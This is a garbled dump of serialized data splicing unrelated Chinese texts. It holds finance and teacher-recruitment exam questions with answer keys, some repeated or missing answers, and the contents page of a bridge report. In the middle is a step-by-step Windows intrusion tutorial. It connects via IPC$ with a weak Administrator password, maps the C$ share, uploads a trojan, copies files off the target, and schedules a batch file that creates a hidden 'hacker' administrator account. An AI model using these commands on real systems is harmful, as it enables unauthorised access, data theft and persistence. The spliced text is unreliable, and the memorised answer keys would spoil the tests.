@#@@#@ A、商业信用@#@ B、消费信用@#@ C、国家信用@#@ D、补偿贸易@#@ 【答案】B@#@ 【解析】消费信用就是由企业、银行或其他消费信用机构向消费者个人提供的信用。
@#@消费信用根据提供商的不同可以分为企业提供的消费信用和银行提供的消费信用等种类。
@#@其中由企业提供的消费信用主要有赊销和分期付款两种形式。
@#@赊销主要是对那些没有现款或现款不足的消费者采取的一种信用出售的方式;@#@而分期付款则更多地是运用于某些价值较高的耐用消费品的购买行为中。
@#@@#@ 39、代表金属实物货币流通并可随时兑换成金属实物货币的货币形态是()。
@#@@#@ A、信用货币@#@ B、纸币@#@ C、代用货币@#@ D、第三代货币@#@ 【答案】C@#@ 【解析】代用货币是指代表金属实物货币流通并可随时兑换成金属实物货币的货币形态。
@#@故选C。
@#@@#@ 40、现阶段我国政策性农村金融机构是()。
@#@@#@ A、农村信用合作社@#@ B、中国农业发展银行@#@ C、中国农业银行@#@ D、农村合作银行@#@ 【答案】B@#@ 【解析】我国有三大政策性银行,其中中国农业发展银行是我国政策性农村金融机构。
@#@@#@ 41、实行直接标价法的国家,如果汇率下降,表明本国货币对外国货币()。
@#@@#@ A、贬值@#@ B、浮动@#@ C、不变@#@ D、升值@#@ 【答案】D@#@ 【解析】直接标价法是指用以1单位外币折合多少本币来表示汇率。
@#@汇率下降,单位外币折合成本币数下降,外币贬值,本币升值。
@#@故选D。
@#@@#@ 42、金融债券是指依法在我国境内设立的金融机构法人在境内外债券市场发行的、按约定还本付息的有价证券。
@#@目前我国()金融债券占有较大的比重。
@#@@#@ A、商业银行@#@ B、政策性银行@#@ C、证券公司@#@ D、财务公司@#@ 【答案】B@#@ 【解析】按发行主体划分,金融债券可以分为政策性银行金融债券、商业银行金融债券、证券公司金融债券、财务公司金融债券以及其他金融机构发行的金融债券,目前政策性银行金融债券占有较大的比重。
@#@@#@ 43、根据我国的货币供应量层次划分,假定广义货币供应量M2余额为@#@ 107.7万亿元,狭义货币供应量M1余额为@#@ 31.5万亿元,流通中货币M0余额为@#@ 5.6万亿元,则单位活期存款为()万亿元。
@#@@#@ A、25.9@#@ B、70.6@#@ C、75.6@#@ D、102.1@#@ 【答案】A@#@ 【解析】M1=流通中的现金+单位活期存款。
@#@因此,单位活期存款=@#@ 31.5-@#@ 5.6=@#@ 25.9。
@#@@#@ 44、“对难以准确判断借款人还款能力的贷款,应适度下调其分类等级”指的是贷款分类中的()原则。
@#@@#@ A、真实性@#@ B、及时性@#@ C、重要性@#@ D、审慎性@#@ 【答案】D@#@ 【解析】贷款分类应遵循以下原则:
@#@①真实性原则,分类应真实客观地反映贷款的风险状况;@#@②及时性原则,应及时、动态地根据借款人经营管理等状况的变化调整分类结果;@#@③重要性原则,对影响贷款分类的诸多因素,要根据五分类的核心定义确定关键因素进行评估和分类;@#@④审慎性原则,对难以准确判断借款人还款能力的贷款,应适度下调其分类等级。
@#@@#@ 45、某商业银行签订买入500万美元的即期合约,同时又签订一年后卖出500万美元的远期合约,该银行使用的是()交易方式。
@#@@#@ A、货币互换@#@ B、期限互换@#@ C、利率互换@#@ D、期权互换@#@ 【答案】B@#@ 【解析】期限互换是把方向相反的远期和即期交易结合起来进行的外汇买卖,若即期卖出一定数额的某种货币,那么同时签订一个买进同样数额的同种货币的远期合同,反之亦然。
@#@故选B。
@#@@#@ 46、商品的价值是由()决定的。
@#@@#@ A、交换价值@#@ B、生产商品的社会必要劳动时间@#@ C、具体劳动时间@#@ D、个别生产者生产某种商品耗费的个别劳动时间@#@ 【答案】B@#@ 【解析】价值规律是商品经济的基本规律。
@#@商品的价值量由社会必要劳动时间决定,商品实行等价交换。
@#@@#@ 47、金融市场按期限长短分为()。
@#@@#@ A、股票市场与债券市场@#@ B、货币市场与资本市场@#@ C、一级市场与二级市场@#@ D、现货市场与期货市场@#@ 【答案】B@#@ 【解析】金融市场按照期限划分,可分为货币市场与资本市场。
@#@@#@ 48、上市商业银行的最高权力机构是()。
@#@@#@ A、股东大会@#@ B、监事会@#@ C、董事会@#@ D、行长办公会@#@ 【答案】A@#@ 【解析】股东大会是由全部股东组成,对公司的重大事项作出决定的公司权力机关。
@#@@#@ 49、同业拆借市场的利率可以反映()。
@#@@#@ A、银行利率@#@ B、短期资金供求状况@#@ C、货币政策的松紧@#@ D、金融宏观调控力度@#@ 【答案】B@#@ 【解析】拆借利率是根据拆借市场的资金供求关系来决定的,它能比较灵活地反映资金供求的变化情况,是短期金融市场中最具有代表性的利率。
@#@@#@ 50、经济法的基本原则不包括()。
@#@@#@ A、平等自愿原则@#@ B、维护公平竞争原则@#@ C、平衡协调原则@#@ D、责权利相统一原则@#@ 【答案】A@#@ 【解析】经济法的基本原则包括平衡协调原则、维护公平竞争原则和责权利相统一原则。
@#@故选A。
@#@@#@";i:
7;s:
7340:
"4520100745000707栏目编辑:
@#@张薇网管与维护入侵前的“热身”踩点情况介绍:
@#@某个局域网(网吧、学校、公司等均可),这种环境下仍有相当一部分的计算机是超级用户Administrator与空口令的“黄金搭档”(或是一些像“123456”之类的弱口令),其罪魁祸首有可能是不负责任的网管为图省事,用一个Ghost镜像文件还原的,也有可能是用户自己的防范意识不到位。
@#@笔者是在自己的机子上用VMWare6.0.2搭建了一台WindowsServer2003StandardEdition虚拟机来作为入侵攻击的目标主机,其IP为10.10.10.2,超级用户Administrator使用弱口令“123456”;@#@自己的主机安装的是WindowsXPProfessional,IP为10.10.10.1,为攻方。
@#@开始入侵的过程:
@#@1从WindowsXP环境下进入CMD窗口先单击“开始”“运行”,然后在“打开”中输入“CMD”(大小写均可,不包括两侧引号)后单击“确定”按钮(如图1),这样系统就会调用System32目录中的CMD.exe命令进入命令行窗口。
@#@2建立IPC$连接IPC$是“InternetProcessConnection”的简写,意思是“共享命名管道”,它是为了让进程间通信而开放的命名管道,通过提供可信任的用户名和口令,连接双方可以建立安全的通道并以此通道进行加密数据的交换,从而实现对远程计算机的访问。
@#@输入“netuse10.10.10.2ipc$“123456”/user:
@#@”administrator”后回车,CMD会提示“命令成功完成”(如图2)。
@#@其中的“10.10.10.2”为目标主机的IP,“123456”是密码,“/user:
@#@”administrator”是登录用户,这样我们就与目标建立好了连接通道。
@#@3进行磁盘分区映射在CMD中输入“netusex:
@#@10.10.10.2c$”后回车(如图3),意思是将自己机子上未使用的X盘与目标的C盘进行映射。
@#@注意IP后的C带了“$”,是默认共享,它是Windows2000之后的系统所默认开启的硬盘分区共享。
@#@建立了这种映射之后,在自己机子上的X盘就相当于目标的C盘了,此时可以打开“我的电脑”看一下,是不是多了一个X盘(如图4)?
@#@点击看看其中的内容,都是WindowsServer2003的,其实这时我们就可以进行文件的复制和删除,就像是我们本地硬盘分区一样,不过我们仍可以使用命令来完成相同的操作。
@#@输入“X:
@#@”后回车进入X盘,用“dir/w”列目录命令看一下(如图5),是不是与“我的电脑”中所列内容文/图牟晓东随着各种傻瓜式入侵攻击软件在互联网上泛滥,如今的入侵攻击开始变得越来越简单了:
@#@不需要懂得什么高深的知识原理,也不用四处拜师学艺,只须照着动画教程在工具中用鼠标点点按钮进行一些简单的设置,谈笑间就会使目标网站轰然倒下!
@#@其实很多的傻瓜式操作入侵工具在其图形化便利操作界面的背后,真正起关键作用的都是Windows操作系统自身所提供的正常命令和服务。
@#@在很多情况下,我们其实并不需要任何第三方的入侵工具,单单是在Windows的CMD“黑”命令窗口下就能赤手空拳地进行入侵。
@#@图1图246ComputerKnowledgeandTechnology栏目编辑:
@#@张薇网管与维护一样?
@#@4“上传”复制文件如果你想把自己的木马服务端上传的话,只须一个COPY复制命令就能轻易完成。
@#@假设你的木马服务端程序Horse.exe在自己的D盘的话,此时可以直接在X:
@#@盘符下输入“copyd:
@#@horse.exe”回车,这样你的木马就会上传到目标的C盘下了,再接着用“dir/w”列目录看一下(如图6)。
@#@5“下载”目标的文件下载与刚才的上传正好相反,但使用的命令却是同一个COPY。
@#@输入“copyconfig.sysd:
@#@”后回车,就会把目标上的CONFIG.SYS这个文件复制到了本地D盘中(如图7)。
@#@6添加新超级用户hacker以前曾流传有两条添加用户并提升为超级用户的命令,那就是“netuserhacker654321/add”和“netlocalgroupadministratorshacker/add”。
@#@前者是建立一个名为hacker的普通账号,密码是“654321”;@#@后者是将hacker账号加入到超级用户组中(注意其中的administrators,而不是administrator!
@#@)。
@#@如果你在本地的CMD窗口中依次运行这两条命令的话,虽然能够成功运行,但结果却是在你自己的机子上建立了hacker超级用户。
@#@怎样才能在目标主机上运行呢?
@#@首先是新建一个文本文件将这两条命令依次输入,后面都有回车;@#@然后点击“文件”“另存为”,将“保存类型”由默认的“文本文档”选择为“所有文件”,在“文件名”处输入“AddUser.bat”(如图8),这样就建立好了一个批处理文件,把它保存到D盘图3图4图5图6图7图84720100747000707栏目编辑:
@#@张薇网管与维护中。
@#@在CMD窗口中输入“copyAddUser.bat10.10.10.2admin$system32”并回车,也就是将这个批处理文件复制到目标的系统盘System32文件夹中(这可是系统的核心文件夹)。
@#@接着输入“nettime10.10.10.2”并回车,CMD马上会回显出目标系统的运行时间等信息:
@#@“10.10.10.2的当前时间是2008/3/1上午09:
@#@23”。
@#@最后输入“at10.10.10.209:
@#@25AddUser.bat”并回车,CMD会提示“新加了一项作业,其作业IDX”,意思是目标主机将在9:
@#@25运行刚刚上传的AddUser.bat批处理文件。
@#@(如图9)时间到了之后,在虚拟机上右击“我的电脑”选择“管理”,在弹出的“计算机管理”窗口中找到“本地用户和组”下的“用户”项,打开后看一看,是不是多了一个名为hacker的账号?
@#@双击后看看它的属性:
@#@隶属于administrators超级用户组(如图10)。
@#@7删除硬盘分区映射当文件的上传与下载均完成之后,应该把建立的分区映射及时删除掉,输入“netusex:
@#@/del”后回车即可,此时如果再使用“dirx:
@#@”命令来查看X盘内容的话,CMD会提示“系统找不到指定的路径”(如图11)。
@#@8关闭IPC$连接与删除硬盘分区映射一样,IPC$连接在入侵完毕之后也要及时关闭,因为如果对方对本地机与外界主机的通信进行监视的话,很容易发现这样一条数据传输通道。
@#@输入“netuse10.10.10.2IPC$/del”后回车,我们会得到“10.10.10.2ipc$已经删除”的信息(如图12),撤!
@#@小结:
@#@其实,在CMD命令行窗口下可以运行的命令是远远不止于此的,其它的比较有名的还有开启对方服务的netstart命令、发送消息的netsend命令、删除日志的del命令以及大名鼎鼎的Ping命令(早在Windows98年代就有著名的“死亡之Ping”,可瞬间使对方机器处于瘫痪状态)。
@#@窗口虽然简陋,命令行虽然短小,但最终导致的后果却是一点儿也不容小觑的。
@#@最关键的是,这种入侵不依赖于任何工具,只要掌握了对方的账户和密码,你就可以行云流水般在键盘上轻松完成入侵“高手哇!
@#@”-图9图10图11图12";i:
8;s:
21761:
"@#@ 江西省赣州市定南县教师招聘考试《通用能力测试(教育类)》真题及答案@#@ 注意事项@#@ 1、请用钢笔、圆珠笔或签字在答题卡相应位置填写姓名、准考证号,并用2B铅笔在答题卡指定位置填涂准考证号。
@#@@#@ 2、本试卷均为选择题,请用2B铅笔在答题卡上作答,在题本上作答一律无效。
@#@@#@ 一、单项选择题(在下列每题四个选项中只有一个是最符合题意的,将其选出并把它的标号写在题后的括号内。
@#@错选、多选或未选均不得分。
@#@)@#@ 1、心理健康的人能够有效地发挥个人的身心潜力以及作为社会一员的()。
@#@@#@ A、积极的社会功能@#@ B、应有的责任能力@#@ C、应有的责任义务感@#@ D、道德精神面貌@#@ 【答案】A@#@ 2、从课程范式来看,研究性课程属于以()为代表的课程范式。
@#@@#@ A、活动课程@#@ B、学科课程@#@ C、显性课程@#@ D、隐性课程@#@ 【答案】A@#@ 3、福禄贝尔创立的幼儿学校1840年更名为幼儿园,该幼儿园始创于()。
@#@@#@ A、1827年@#@ B、1803年@#@ C、1837年@#@ D、1823年@#@ 【答案】C@#@ 4、对称是()幼儿绘画的一个重要特征。
@#@@#@ A、概念画期(又称图式期)@#@ B、象征期@#@ C、涂鸦期@#@ D、写实期@#@ 【答案】A@#@ 5、()的儿童常常对学习成绩、陌生环境反应敏感,担心害怕,显得很不安分。
@#@@#@ A、诵读困难@#@ B、过度焦虑@#@ C、强迫观念@#@ D、交往困难@#@ 【答案】B@#@ 6、学习的主体因素是(),任何教学都必须通过它起作用。
@#@@#@ A、教师@#@ B、教学环境@#@ C、学生@#@ D、学校领导@#@ 【答案】C@#@ 7、按照学习迁移内容的不同抽象与概括化水平进行的划分,可以分为()@#@ A、水平迁移与垂直迁移@#@ B、正迁移与横向迁移@#@ C、普通迁移与特殊迁移@#@ D、顺向迁移与逆向迁移@#@ 【答案】A@#@ 8、由物质的、外显的、展开的形式转变成观念的、内潜的、简缩的形式的过程是在()的阶段。
@#@@#@ A、原型定向@#@ B、原型动作@#@ C、原型内化@#@ D、动作定向@#@ 【答案】C@#@ 9、“万般皆下品,唯有读书高”反应了封建社会的教育具有()的特点。
@#@@#@ A、崇尚书本,呆读死记@#@ B、学校教育脱离生产劳动@#@ C、等级性@#@ D、阶级性@#@ 【答案】D@#@ 10、为了打击社会的不良行为,国家常用“杀一儆百”的做法,其理论依据是()。
@#@@#@ A、操作性条件反射理论@#@ B、经典条件反射理论@#@ C、社会学习理论@#@ D、期待惩罚理论@#@ 【答案】C@#@ 11、()是教师备课和上课的主要依据。
@#@@#@ A、教学大纲@#@ B、教科书@#@ C、参考书@#@ D、教学进度计划@#@ 【答案】B@#@ 12、提出“人力资本”理论的学者是()。
@#@@#@ A、布鲁纳@#@ B、赞可夫@#@ C、舒尔茨@#@ D、皮亚杰@#@ 【答案】C@#@ 13、19世纪对班级组织的发展产生巨大的推动作用的“导生制”出现在()。
@#@@#@ A、德国@#@ B、英国@#@ C、美国@#@ D、法国@#@ 【答案】B@#@ 14、班级里学习成绩差生和后进生有问题行为,优秀学生()。
@#@@#@ A、也全都有问题行为@#@ B、没有问题行为@#@ C、只有问题行为萌芽@#@ D、也有问题行为@#@ 【答案】D@#@ 15、人们对社会思想道德和人们行为的爱憎、好恶等情绪态度属于()。
@#@@#@ A、道德认识@#@ B、道德情感@#@ C、道德意志@#@ D、道德行为@#@ 【答案】B@#@ 16、班级授课制在我国正式实行一般认为是在()。
@#@@#@ A、唐朝中期@#@ B、明朝中期@#@ C、清朝末年@#@ D、辛亥革命以后@#@ 【答案】C@#@ 17、关于我国学前班的说法,错误的是()。
@#@@#@ A、是我国农村发展学前教育的一种重要形式@#@ B、学前班的教育目标与要求应与小学相同@#@ C、学前班的教育应以游戏活动为主@#@ D、是以学龄前1-2年的儿童为教育对象的教育组织形式@#@ 【答案】B@#@ 18、美国的提前开端计划的对象主要是()。
@#@@#@ A、超常儿童@#@ B、低能儿童@#@ C、正常儿童@#@ D、家庭环境优越儿童@#@ 【答案】B@#@ 19、美国的提前开端计划的对象主要是()。
@#@@#@ A、超常儿童@#@ B、低能儿童@#@ C、正常儿童@#@ D、家庭环境优越儿童@#@ 【答案】B@#@ 20、婴儿注意人脸主要是注视脸的()。
@#@@#@ A、中央@#@ B、边缘@#@ C、上部@#@ D、下部@#@ 【答案】B@#@ 21、学校这一社会组织的细胞是()。
@#@@#@ A、学生@#@ B、教师@#@ C、班级@#@ D、校长@#@ 【答案】C@#@ 22、关于幼儿言语的发展,正确的表述是()。
@#@@#@ A、理解语言发生发展在先,语言表达发生发展在后@#@ B、理解语言和语言表达同时同步产生@#@ C、语言表达发生发展在先,理解语言发生发展在后@#@ D、理解语言是在语言表达的基础上产生和发展起来的@#@ 【答案】A@#@ 23、教师对学生思想的认可与学生成绩有()趋势。
@#@@#@ A、负相关@#@ B、正相关@#@ C、没有关系@#@ D、若有若无@#@ 【答案】B@#@ 24、教学目标侧重于过程或探索知识经验,则宜选择()。
@#@@#@ A、发现学习@#@ B、接受学习@#@ C、合作学习@#@ D、掌握学习@#@ 【答案】A@#@ 25、英国教育家洛克的“白板说”属()。
@#@@#@ A、父母决定论@#@ B、教师决定论@#@ C、环境决定论@#@ D、遗传决定论@#@ 【答案】C@#@ 26、5~6岁幼儿能参加较复杂的集体游戏和活动,说明幼儿注意的()。
@#@@#@ A、稳定性较好@#@ B、分配能力较强@#@ C、范围较大@#@ D、选择性较强@#@ 【答案】B@#@ 27、提高教学质量的关键是()。
@#@@#@ A、备好课@#@ B、上好课@#@ C、作业的检查与批改@#@ D、课外辅导@#@ 【答案】B@#@ 28、建立良好的班集体有利于()。
@#@@#@ A、发现人的价值@#@ B、发掘人的潜能@#@ C、发挥人的力量@#@ D、发展人的个性@#@ 【答案】D@#@ 29、在幼儿园教育目标体系中,指在一节课或一次活动中需要达到的目标是()。
@#@@#@ A、幼儿园教育目标@#@ B、近期目标@#@ C、中期目标@#@ D、活动目标@#@ 【答案】D@#@ 30、设计教学法的提出者是()。
@#@@#@ A、杜威@#@ B、华虚朋@#@ C、柏克赫斯特@#@ D、克伯屈@#@ 【答案】D@#@ 31、教师的语言修炼可以从以下几方面入手:
@#@提高教师自身的思想修养、培养良好的心理素质和()。
@#@@#@ A、加强知识修养@#@ B、加强信息能力@#@ C、较强角色调适能力@#@ D、加强交往能力@#@ 【答案】A@#@ 32、决定教育领导权的是()。
@#@@#@ A、政治经济制度@#@ B、生产力水平@#@ C、科学技术@#@ D、文化传统@#@ 【答案】A@#@ 33、提出普及初等教育的要求在()。
@#@@#@ A、第一次工业革命后@#@ B、第二次工业革命后@#@ C、第三次工业革命后@#@ D、信息革命后@#@ 【答案】A@#@ 34、教师通过协调课堂内的各种人际关系而有效地实现预定教学目标的过程称为()。
@#@@#@ A、课堂管理@#@ B、课堂纪律@#@ C、课堂规范@#@ D、课堂控制@#@ 【答案】A@#@ 35、90年代以来,学前教育的根本目标是()。
@#@@#@ A、智力开发@#@ B、培养创造力@#@ C、知识传授@#@ D、全面和谐发展@#@ 【答案】D@#@ 36、教师胜任教学工作的基础性要求是,必须具有()。
@#@@#@ A、学科专业素养@#@ B、职业道德素养@#@ C、政治思想素养@#@ D、人格特质@#@ 【答案】A37、一个人对行为控制与调节方面的特征是属于性格的()。
@#@@#@ A、态度特征@#@ B、意志特征@#@ C、情绪特征@#@ D、理智特征@#@ 【答案】B@#@ 38、教师与幼儿沟通时,不正确的做法是()。
@#@@#@ A、注意倾听@#@ B、注意蹲下去与孩子平等对话@#@ C、言语专业化@#@ D、言语儿童化@#@ 【答案】C@#@ 39、教育学萌芽的标志是()的提出。
@#@@#@ A、教育价值@#@ B、教育规律@#@ C、教育问题@#@ D、教育现象@#@ 40、智力游戏属于()。
@#@@#@ A、创造性游戏@#@ B、有规则游戏@#@ C、体育游戏@#@ D、结构游戏@#@ 【答案】B@#@ 41、班主任工作的根本任务是()。
@#@@#@ A、做好管理工作@#@ B、对学生进行品德教育@#@ C、提高学生成绩@#@ D、促进学生全面发展@#@ 【答案】D@#@ 42、儿童每天都在自发地进行游戏。
@#@说明了儿童游戏是()。
@#@@#@ A、自发的、自愿的@#@ B、自由自在的@#@ C、愉快的@#@ D、充满想象和创造的@#@ 【答案】A@#@ 43、“怎样培养学生的创新意识”这样的问题属于()的问题。
@#@@#@ A、有结构@#@ B、无结构@#@ C、一般性@#@ D、认知性@#@ 【答案】B@#@ 44、课的类型的划分依据()。
@#@@#@ A、教学任务@#@ B、教学内容@#@ C、教学规律@#@ D、教学原则@#@ 【答案】A@#@ 45、通过摆事实、讲道理,使学生提高认识,形成正确的观点的方法是()。
@#@@#@ A、榜样法@#@ B、说服法@#@ C、陶冶法@#@ D、锻炼法@#@ 【答案】B@#@ 46、现代教育理论认为,托儿所、幼儿园和家庭的关系属于()。
@#@@#@ A、帮助与被帮助的关系@#@ B、管理与被管理的关系@#@ C、伙伴关系@#@ D、教与被教的关系@#@ 【答案】C@#@ 47、教育心里学受弗洛伊德理论的影响,扩展了研究领域,同时程序教学兴起的时期大致在()。
@#@@#@ A、19世纪末20实际初@#@ B、20世纪20年代~50年代末@#@ C、20世纪60年代~70年代末@#@ D、20世纪80年代以后@#@ 【答案】B@#@ 48、认为我国现代教育的目的是“做人,做中国人,做现代中国人”的教育学家是()。
@#@@#@ A、陈鹤琴@#@ B、梁启超@#@ C、蔡元培@#@ D、陶行知@#@ 【答案】A@#@ 49、十四周岁以上不满十六周岁的未成年人犯罪的案件()不公开审理。
@#@@#@ A、可以@#@ B、一般@#@ C、一律@#@ D、应当@#@ 【答案】C@#@ 50、幼儿语音发展阶段,元音和辅音的发展顺序是()。
@#@@#@ A、同时出现@#@ B、元音在先,辅音在后@#@ C、辅音在先,元音在后@#@ D、以上情况都有可能@#@ 【答案】A@#@ 51、学生在学习了语文拼音以后,会干扰其对英语音标的学习,这属于()。
@#@@#@ A垂直迁移@#@ B、水平迁移@#@ C、正迁移@#@ D、负迁移@#@ 【答案】D@#@ 52、移情法第一阶段运用的基本训练技术是()。
@#@@#@ A、情绪追忆和情境表演@#@ B、认知提示和情绪追忆@#@ C、情感换位和情绪追忆@#@ D、认知提示和情感换位@#@ 【答案】B@#@ 53、教师与幼儿沟通时,不正确的做法是()。
@#@@#@ A、注意倾听@#@ B、注意蹲下去与孩子平等对话@#@ C、言语专业化@#@ D、言语儿童化@#@ 【答案】C@#@ 54、赞科夫在《教学与发展》一书中提出五条新的教学原则,不在此列的一条是()。
@#@@#@ A、高难度原则@#@ B、高速度原则@#@ C、理论知识起主导作用的原则@#@ D、循序渐进原则@#@ 【答案】D@#@ 55、通过摆事实、讲道理,使幼儿明辨是非的教育方法是()。
@#@@#@ A、情感陶冶法@#@ B、说理教育法@#@ C、品德评价法@#@ D、实际锻炼法@#@ 【答案】B@#@ 56、情感领域的教学目标根据价值内化的程度分为()。
@#@@#@ A、二个等级@#@ B、五个等级@#@ C、三个等级@#@ D、四个等级@#@ 【答案】B@#@ 57、首次详细论证了班级授课制的教育著作是()。
@#@@#@ A、《雄辩术原理》@#@ B、《普通教育学》@#@ C、《大教学论》@#@ D、《教育学》@#@ 【答案】C@#@ 58、下面属于教学准备能力()。
@#@@#@ A、教师的语言准备@#@ B、教师的课堂评价@#@ C、教学计划、教学总结、教具的准备@#@ D、教师科研能力@#@ 【答案】C@#@ 59、备课时,教师要按顺序写出()三种教学计划。
@#@@#@ A、课时计划、单元计划、学期计划@#@ B、学期计划、单元计划、课时计划@#@ C、单元计划、课时计划、学期计划@#@ D、学期计划、课时计划、单元计划@#@ 【答案】B@#@ 60、心理学作为一门独立的科学诞生于()。
@#@@#@ A、1879年@#@ B、1897年@#@ C、1789年@#@ D、1798年@#@ 【答案】A@#@ 61、下列说法不正确的是()。
@#@@#@ A、教师的平均工资水平应当不低于或者高于国家公务员的平均工资水平,并逐步提高。
@#@@#@ B、取得幼儿园教师资格,应当具备幼儿师范学校毕业及其以上学历;@#@@#@ C、保育员具备小学毕业以上的学历,受过幼儿保育职业培训;@#@@#@ D、取得小学教师资格,应当具备中等师范学校毕业及其以上学历。
@#@@#@ 【答案】C@#@ 62、如果一个家长想用看电视作为强化物奖励儿童按时完成作业的行为,最适合的安排应该是()。
@#@@#@ A、让儿童看完电视以后立即督促其完成作业@#@ B、规定每周看电视的适当时间@#@ C、惩罚孩子喜欢看电视的行为@#@ D、只有按时完成作业后才能看电视@#@ 【答案】D@#@ 63、提出“最近发展区”的观点的是()。
@#@@#@ A、布鲁纳@#@ B、班杜拉@#@ C、桑代克@#@ D、维果斯基@#@ 【答案】D@#@ 64、学生在学习了语文拼音以后,会干扰其对英语音标的学习,这属于()。
@#@@#@ A垂直迁移@#@ B、水平迁移@#@ C、正迁移@#@ D、负迁移@#@ 【答案】D@#@ 65、在语言活动中,某小朋友认真地、完整地听完了老师讲的故事。
@#@这说明该小朋友具有()。
@#@@#@ A、注意的选择性@#@ B、注意的范围@#@ C、注意的稳定性@#@ D、注意的分配@#@ 【答案】C@#@ 66、对民办学校重大问题拥有决策权的是()。
@#@@#@ A、校长@#@ B、教职工代表大会@#@ C、学校工会@#@ D、学校董事会@#@ 【答案】D@#@ 67、被称为“我国幼儿教育之父”的教育家是()。
@#@@#@ A、陶行知@#@ B、张雪门@#@ C、陈鹤琴@#@ D、蔡元培@#@ 【答案】C@#@ 68、下列说法中不属于访问前准备工作内容的是()。
@#@@#@ A、一切可用的记录工具,如:
@#@录音机、照相机、纸笔等@#@ B、知识和心理方面的准备@#@ C、交通工具@#@ D、被访问者的合作@#@ 【答案】C@#@ 69、“三军可夺帅,匹夫不可夺志”说的是()。
@#@@#@ A、道德认识@#@ B、道德情感@#@ C、道德意志@#@ D、道德行为@#@ 【答案】C@#@ 70、下列哪种活动体现了幼儿的再造想象()。
@#@@#@ A、有些孩子经常会生造一些词语@#@ B、在绘画时,有的幼儿把太阳画成绿色@#@ C、有的幼儿在看图说话时,能说出许多图上没有但与主题相关的内容@#@ D、幼儿把音阶想象成“走楼梯”,从而来理解音阶@#@ 【答案】C@#@ 71、幼儿的听觉偏好趋向()。
@#@@#@ A、就人声和物声而言,新生儿趋向物声@#@ B、就母亲声音和陌生人声音而言,新生儿趋向新鲜的陌生人声音@#@ C、就声音音调来讲,新生儿趋向低音调@#@ D、新生儿爱听柔和的声音@#@ 【答案】D@#@ 72、程序教学的提出者是()。
@#@@#@ A、华生@#@ B、斯金纳@#@ C、加涅@#@ D、布鲁纳@#@ 【答案】B@#@ 73、儿童记忆策略的发展过程中,转变期一般存在于()。
@#@@#@ A、2~3岁@#@ B、4~5岁@#@ C、5~7岁@#@ D、7~8岁@#@ 【答案】C@#@ 74、幼儿园教育目标的层次为()。
@#@@#@ A、幼儿园教育目标、中期目标、近期目标、活动目标@#@ B、长期目标、中期目标、近期目标、活动目标@#@ C、幼儿园教育目标、活动目标、近期目标、中期目标@#@ D、幼儿园教育目标、活动目标、中期目标、近期目标@#@ 【答案】A@#@ 75、教育目的是教育的根本性问题,对一切教育工作具有()。
@#@@#@ A、控制作用@#@ B、制约作用@#@ C、促进作用@#@ D、指导意义@#@ 【答案】D@#@ 76、到工厂进行参观访问属于()。
@#@@#@ A、模像直观@#@ B、形象直观@#@ C、感知直观@#@ D、实物直观@#@ 【答案】D@#@ 77、根据调查结果显示,家长把幼儿送入学前班的最主要的目的是()。
@#@@#@ A、为了孩子的全面发展@#@ B、为了孩子能学到知识@#@ C、为了孩子能更守规矩@#@ D、为了孩子能更好地上一年级@#@ 【答案】C@#@ 78、教学从本质上讲是一种()。
@#@@#@ A、认识活动@#@ B、智育活动@#@ C、促进学生全面发展的活动@#@ D、教师教和学生学的活动@#@ 【答案】A@#@ 79、操作性条件反射学说的代表人物是()。
@#@@#@ A、斯金纳@#@ B、巴甫洛夫@#@ C、桑代克@#@ D、班杜拉@#@ 【答案】A@#@ 80、世界上最早的教育理论著作是()。
@#@@#@ A、《论语》@#@ B、《理想国》@#@ C、《学记》@#@ D、《大教学论》@#@ 【答案】C@#@ 81、主张“一切知识都从感官的知觉开始”的教育家是()。
@#@@#@ A、赫尔巴特@#@ B、杜威@#@ C、凯洛夫@#@ D、夸美纽斯@#@ 【答案】D@#@ 82、由于对学习活动的社会意义或个人前途等原因引发的学习动机称作()。
@#@@#@ A、远景的间接性动机@#@ B、社会性动机@#@ C、直接性动机@#@ D、志向性动机@#@ 【答案】A@#@ 83、在西方传统的课程理论中,通常把课程目标分为:
@#@事实、技能和()。
@#@@#@ A、知识@#@ B、能力@#@ C、态度@#@ D、素质@#@ 【答案】C@#@ 84、如果发生未成年人合法权益受到侵犯,()有权予以劝阻、制止或向有关部门提出检举或控告。
@#@@#@ A、父母@#@ B、国家机关@#@ C、其他监护人@#@ D、任何组织或个人@#@ 【答案】D@#@ 85、学生根据哺乳动物的关键特征,来判断某些动物是不是哺乳动物的过程是()。
@#@@#@ A、抽象化@#@ B、概括化@#@ C、归纳化@#@ D、分化@#@ 【答案】B@#@ 86、幼儿园以()为基本活动。
@#@@#@ A、学习@#@ B、游戏@#@ C、阅读@#@ D、体育@#@ 【答案】B@#@ 87、一种学习中习得的一般原理、方法、策略和态度等迁移到另一种学习中去是()。
@#@@#@ A、一般迁移@#@ B、具体迁移@#@ C、垂直迁移@#@ D、水平迁移@#@ 【答案】A@#@ 88、在语言活动中,某小朋友认真地、完整地听完了老师讲的故事。
@#@这说明该小朋友具有()。
@#@@#@ A、注意的选择性@#@ B、注意的范围@#@ C、注意的稳定性@#@ D、注意的分配@#@ 【答案】C@#@ 89、被称为“现代教育测验之父”的是()。
@#@@#@ A、赖斯@#@ B、泰勒@#@ C、桑代克@#@ D、杜威@#@ 【答案】C@#@ 90、第一个提出应以伦理学和心理学作为教育学的理论基础的是()。
@#@@#@ A、赫尔巴特@#@ B、杜威@#@ C、夸美纽斯@#@ D、康德@#@ 【答案】A@#@";i:
9;s:
1792:
"SAP?
@#@SAP?
@#@2010?
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"南京长江第四大桥三跨吊悬索桥总体分析报告(主跨1418米)中交公路规划设计院有限公司二OO六年十二月南京长江第四大桥三跨吊悬索桥总体分析Dec.2006中交公路规划设计院有限公司I目录1.结构概述结构概述.32.采用规范、计算依据及计算程序采用规范、计算依据及计算程序.32.1.基本规范.32.2.参考规范.42.3.计算依据及计算程序.43.结构分析参数结构分析参数.53.1.材料特性.53.1.1.混凝土.53.1.2.钢材.53.1.3.高强钢丝.53.2.计算荷载.53.2.1.恒载(D).53.2.2.活载(L).83.2.3.温度荷载(T).83.2.4.风荷载(W、WL).83.3.荷载组合.123.4.主梁约束条件.124.总体结构受力分析总体结构受力分析.134.1.分析模型.134.1.1.模型简介.134.2.施工阶段主要分析结果.144.2.1.1.空缆状态.144.2.1.2.成桥状态.144.3.运营阶段分析.164.3.1.计算工况.164.3.2.运营阶段总体分析结果.164.3.2.1.组合一:
@#@D+L(8/6).164.3.2.2.组合二:
@#@D+L(8/6)+T(+/-).264.3.2.3.组合三:
@#@D+L(8/6)+WL(顺)+T(+/-).354.3.2.4.组合四:
@#@D+W(顺)+T(+/-).374.3.2.5.组合五:
